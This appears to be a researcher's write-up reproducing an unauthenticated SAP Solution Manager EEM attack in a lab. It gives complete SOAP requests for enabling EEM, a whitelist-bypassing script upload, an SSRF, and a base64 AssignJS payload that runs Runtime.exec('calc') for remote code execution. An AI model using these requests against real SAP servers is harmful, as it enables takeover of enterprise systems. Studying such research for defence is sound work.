1. So, let's find all the jars relevant to `EEM`. ``` ➜ ~ ssh root@172.16.30.43 Password: solman72java:~ # cd /usr/sap/J72/J00/j2ee/cluster/apps/sap.com solman72java:/usr/sap/J72/J00/j2ee/cluster/apps/sap.com # find . -name "*Eem*" ./tc~smd~agent~application~eem/servlet_jsp/tc~smd~agent~application~eem/root/WEB-INF/entities/DataCollectionPushEemTypeBuilder ./tc~smd~EemAdminGateway ./tc~smd~EemAdminGateway/webservices_container/backup/Ejb_EemAdminGateway.jar ./tc~smd~EemAdminGateway/webservices_container/Ejb_EemAdminGateway_EJB ./tc~smd~EemAdminGateway/webservices_container/Ejb_EemAdminGateway_EJB/types/EemAdminService.jar ./tc~smd~EemAdminGateway/servlet_jsp/EemAdminService ./tc~smd~EemAdminGateway/servlet_jsp/EemAdminService/EemAdminService.war ./tc~smd~EemAdminGateway/EJBContainer/applicationjars/Ejb_EemAdminGateway.jar ``` Ok. It looks like there is `EemAdminService` in the `tc~smd~EemAdminGateway` application. It's high time to check what's inside that app. ``` solman72java:/usr/sap/J72/J00/j2ee/cluster/apps/sap.com # cat tc~smd~EemAdminGateway/servlet_jsp/EemAdminService/root/WEB-INF/web.xml EemAdminService EemAdmin com.sap.engine.services.webservices.servlet.SoapServlet 0 EemAdmin /* 1 ``` Good, let's check the `EemAdmin` servlet that handles the SOAP request. ``` http://solmanIP:50000/EemAdminService/EemAdmin?wsdl ``` ![wsdl](img/wsdl.png) And yes, looks like exactly we need. Let's check the `getAllAgentInfo` method: ``` POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 ``` ![getAllAgentInfo](img/getAllAgentInfo.png) Perfect! There is one SMD agent `lolkek` connected to our SAP Solutuon Manager, and the `EemAdminService` methods are available without auth! Ok, let's try running the script via `runScript` method. ``` POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 Host: 172.16.30.43:50000 Content-Length: 350 lolkek YWVvbGlhbQ== ``` ![disable](img/notenabled.png) Just as expected, we see the `EEM is not enabled on this agent` message as in [original whitepaper](https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf) was described. No problem. We have all that wee need to enable `EEM` for that agent using the `setAgeletProperties` SOAP method. ```xml POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 Host: 172.16.30.43:50000 Content-Length: 446 lolkek 3 eem.enable True ``` Right after that, a request dummy, the `runScript` request, returns to us: ![eemEnabled](img/enabledEem.png) I've found a simple `ServerRequest` script example and uploaded it via `uploadResource` and got `200 OK` response. ```xml ``` ``` POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 Content-Length: 1573 lolkek PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPFNjcmlwdCB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBlZGl0b3J2ZXJzaW9uPSI3LjEwLjEuMC4yMDEwMTAyNzE1MDcxMiIgZXhldHlwZT0ieG1sIiBocnRpbWVzdGFtcD0iMjAxMC4xMC4yNyAxNToxMToyMCBDRVNUIiBuYW1lPSJzaW1wbGVfc2NlbmFyaW8iIHRpbWVzdGFtcD0iMTI4ODE4NTA4MDgyMSIgdHlwZT0iaHR0cCIgdmVyc2lvbj0iMS4xIiB4c2k6bm9OYW1lc3BhY2VTY2hlbWFMb2NhdGlvbj0iaHR0cDovL3d3dy5zYXAuY29tL3NvbG1hbi9lZW0vc2NyaXB0MS4xIj4KICA8VHJhbnNhY3Rpb25TdGVwIGlkPSIxIiBuYW1lPSJkdW1teSI+CiAgICA8TWVzc2FnZSBhY3RpdmF0ZWQ9InRydWUiIGlkPSIyIiBtZXRob2Q9IkdFVCIgbmFtZT0iaW5kZXgiIHR5cGU9IlNlcnZlclJlcXVlc3QiIHVybD0iaHR0cDovLzEuMS4xLjE6MTMzNy9pbmRleC5odG1sIiB2ZXJzaW9uPSJIVFRQLzEuMSI+CiAgICAgIDxDaGVjayBpc0FjdGl2ZT0idHJ1ZSIgaXNOZWdhdGl2ZT0idHJ1ZSIgdHlwZT0iUGxhaW5UZXh0Q2hlY2siIHZhbHVlPSJTZWFyY2hUZXh0OjptYWluLmpzcDsiLz4KICAgICAgPENoZWNrIGlzQWN0aXZlPSJ0cnVlIiBpc05lZ2F0aXZlPSJmYWxzZSIgdHlwZT0iUGxhaW5UZXh0Q2hlY2siIHZhbHVlPSJTZWFyY2hUZXh0OjptYWluLmpzcDsiLz4KICAgIDwvTWVzc2FnZT4KICA8L1RyYW5zYWN0aW9uU3RlcD4KPC9TY3JpcHQ+Cg== test.xml kek Script test ``` However, the thing is I still couldn't `runScript`. Server returned `com.sap.smd.eem.admin.EemException: Script test not found.` but at the same time I saw an uploaded file `rscripts/test/test.xml` via the `http://1.1.1.1:50000/tc~smd~agent~application~eem/EEM` web interface. Moreover, I've found that file on the File System of SMD Agent. ![res](img/resources1.png) So, what's the problem? Inside the decompiled `com.sap.smd.eem.admin`, I've noticed the `checkResources()` method that was called every thime executed `uploadResource`. Inside that method, we could see a kind of the whitelist of filenames that could be uploaded ```java new AllowedFile("keystore", "keyStore\\.jks", new String[] { "Script" }, false) new AllowedFile("autoparams", "AutoParams\\.xml", new String[] { "Global" }, false) new AllowedFile("globaltruststore", "trustStore\\.jks", new String[] { "Global", "Agent" }, true) new AllowedFile("truststore", "trustStore\\.jks", new String[] { "Script" }, false) new AllowedFile("configglobal", "ConfigGlobal\\.xml", new String[] { "Global" }, true) new AllowedFile("configagent", " ", new String[] { "Agent" }, true) new AllowedFile("script", "script\\.(http|sapgui)\\.xml", new String[] { "Script" }, false) new AllowedFile("configscript", "ConfigScript\\.xml", new String[] { "Script" }, false) new AllowedFile("configscriptagent", "ConfigScriptAgent\\.xml", new String[] { "ScriptAgent" }, false) new AllowedFile("configscenario", "ConfigScenario\\.xml", new String[] { "Scenario" }, false), new AllowedFile("resource", "[\\w \\.]+", new String[] { "Script" }, false) new AllowedFile("executorszip", "upload/executors\\.zip", new String[] { "Global" }, true) new AllowedFile("testzip", "upload/test\\.zip", new String[] { "Global" }, true) ``` So, I changed the value of `fileName` to the `script.http.xml` and sent the `uploadResource` request ``` POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 Content-Length: 1573 lolkek PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPFNjcmlwdCB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBlZGl0b3J2ZXJzaW9uPSI3LjEwLjEuMC4yMDEwMTAyNzE1MDcxMiIgZXhldHlwZT0ieG1sIiBocnRpbWVzdGFtcD0iMjAxMC4xMC4yNyAxNToxMToyMCBDRVNUIiBuYW1lPSJzaW1wbGVfc2NlbmFyaW8iIHRpbWVzdGFtcD0iMTI4ODE4NTA4MDgyMSIgdHlwZT0iaHR0cCIgdmVyc2lvbj0iMS4xIiB4c2k6bm9OYW1lc3BhY2VTY2hlbWFMb2NhdGlvbj0iaHR0cDovL3d3dy5zYXAuY29tL3NvbG1hbi9lZW0vc2NyaXB0MS4xIj4KICA8VHJhbnNhY3Rpb25TdGVwIGlkPSIxIiBuYW1lPSJkdW1teSI+CiAgICA8TWVzc2FnZSBhY3RpdmF0ZWQ9InRydWUiIGlkPSIyIiBtZXRob2Q9IkdFVCIgbmFtZT0iaW5kZXgiIHR5cGU9IlNlcnZlclJlcXVlc3QiIHVybD0iaHR0cDovLzEuMS4xLjE6MTMzNy9pbmRleC5odG1sIiB2ZXJzaW9uPSJIVFRQLzEuMSI+CiAgICAgIDxDaGVjayBpc0FjdGl2ZT0idHJ1ZSIgaXNOZWdhdGl2ZT0idHJ1ZSIgdHlwZT0iUGxhaW5UZXh0Q2hlY2siIHZhbHVlPSJTZWFyY2hUZXh0OjptYWluLmpzcDsiLz4KICAgICAgPENoZWNrIGlzQWN0aXZlPSJ0cnVlIiBpc05lZ2F0aXZlPSJmYWxzZSIgdHlwZT0iUGxhaW5UZXh0Q2hlY2siIHZhbHVlPSJTZWFyY2hUZXh0OjptYWluLmpzcDsiLz4KICAgIDwvTWVzc2FnZT4KICA8L1RyYW5zYWN0aW9uU3RlcD4KPC9TY3JpcHQ+Cg== script.http.xml kek Script newtest ``` After that, I successfuly triggered `runScript` with SSRF payload ``` POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 Content-Length: 311 lolkek ``` Voilà! got my SSRF ![ssrf](img/ssrf.png) Ok, we've got `SSRF`. But we also want RCE. For that purpose, we can use the `Command` `AssignJS` message instead of `ServerRequest`, because data from `AssignJS` goes to `eval()` in java class ` com.sap.smd.eem.executor.commands.AssignJavascriptCommand`. ```java private String eval(IExecutor executor, String expression, IEemMessageResult msgResult) throws MessageException { ScriptEngineManager manager = new ScriptEngineManager(); ScriptEngine engine = manager.getEngineByName("js"); engine.put("age", Integer.valueOf(21)); try { Object result = engine.eval(expression); return result.toString(); } catch (ScriptException e) { throw new MessageException(this, "failed to eval Javascript", 3, msgResult, e); } ``` Now, we need to create a correct payload for the `Command` script message. For that, just follow `startElement()` in the `com.sap.smd.eem.scriptxml` package. ```java ... String id = pAttributes.getValue("id"); String name = pAttributes.getValue("name"); String isActivated = pAttributes.getValue("activated"); String method = pAttributes.getValue("method"); String type = pAttributes.getValue("type"); ... if (msgType == Message.TYPE_SERVER_REQUEST && XmlScriptFile.this.script.getProtocol().equals("http")) { HttpMessage httpMessage = new HttpMessage(XmlScriptFile.this.script, name, msgType); } else if (msgType == Message.TYPE_SERVER_REQUEST && XmlScriptFile.this.script.getProtocol().equals("sapgui")) { SapGuiMessage sapGuiMessage = new SapGuiMessage(XmlScriptFile.this.script, name, msgType); } else if (msgType == Message.TYPE_SERVER_REQUEST && XmlScriptFile.this.script.getProtocol().equals("rfc")) { RfcMessage rfcMessage = new RfcMessage(XmlScriptFile.this.script, name, msgType); } else if (msgType == Message.TYPE_COMMAND) { try { AbstractCommand abstractCommand = CommandProcessor.createCommand(method, name, XmlScriptFile.this.script); } catch (ExecutorException e) { throw new SAXException("unsupported command " + method, e); } ``` as a result, we've got that `XML` payload: ```xml ``` But I didn't see a pop-upped calculator :/ After several JAVA experments, we've found the problem. We can't trigger RCE because SAP has their own JVM. ``` ~java -version java version "1.6.0_07" Java(TM) SE Runtime Environment (build 6.1.006) SAP Java Server VM (build 6.1.006, Oct 13 2009 01:46:16 - 61_REL - optU - windows amd64 - 6 - bas2:127656 (mixed mode)) ``` And that JAVA doesn't know about `js` engine: ``` ScriptEngine engine = manager.getEngineByName("js"); Object result = engine.eval(expression); ``` So, I decided to install a fresh version of `SAP Diagnostics Agent` with a modern SAP JVM To be honest, the installation process wasn't super easy for me, but i did it :) ![DA-install](img/dainstall.png) ``` ~java -version java version "1.8.0_152" Java(TM) SE Runtime Environment (build 8.1.035) SAP Java Server VM (build 8.1.035 25.51-b13, Nov 29 2017 11:24:27 - 81_REL - optU - windows amd64 - 6 - bas2:297759 (mixed mode)) ``` After that, just send the previous payload again: ``` POST /EemAdminService/EemAdmin HTTP/1.1 SOAPAction: Content-Type: text/xml;charset=UTF-8 Content-Length: 1424 lolkek3 PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPFNjcmlwdCB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiBlZGl0b3J2ZXJzaW9uPSI3LjEwLjEuMC4yMDEwMTAyNzE1MDcxMiIgZXhldHlwZT0ieG1sIiBocnRpbWVzdGFtcD0iMjAxMC4xMC4yNyAxNToxMToyMCBDRVNUIiBuYW1lPSJjaHBrIiB0aW1lc3RhbXA9IjEyODgxODUwODA4MjEiIHR5cGU9Imh0dHAiIHZlcnNpb249IjEuMSIgeHNpOm5vTmFtZXNwYWNlU2NoZW1hTG9jYXRpb249Imh0dHA6Ly93d3cuc2FwLmNvbS9zb2xtYW4vZWVtL3NjcmlwdDEuMSI+CiAgPFRyYW5zYWN0aW9uU3RlcCBpZD0iMSIgbmFtZT0iZHVtbXkiPgogICAgPE1lc3NhZ2UgYWN0aXZhdGVkPSJ0cnVlIiBpZD0iMiIgdHlwZT0iQ29tbWFuZCIgdXJsPSIiIG5hbWU9IkFzc2lnbkpTIiBtZXRob2Q9IkFzc2lnbkpTIiA+CiAgICA8UGFyYW0gbmFtZSA9ICJleHByZXNzaW9uIiB2YWx1ZT0iUGFja2FnZXMuamF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoJ2NhbGMnKS53YWl0Rm9yKCk7IiAvPgogICAgPFBhcmFtIG5hbWUgPSAidmFyaWFibGUiIHZhbHVlPSJ5eXl5eSIgLz4KICAgIDwvTWVzc2FnZT4KICA8L1RyYW5zYWN0aW9uU3RlcD4KPC9TY3JpcHQ+ script.http.xml kek Script testz1 ``` and, as a result, I got my calc on the victim server! ![calc](img/calc.png)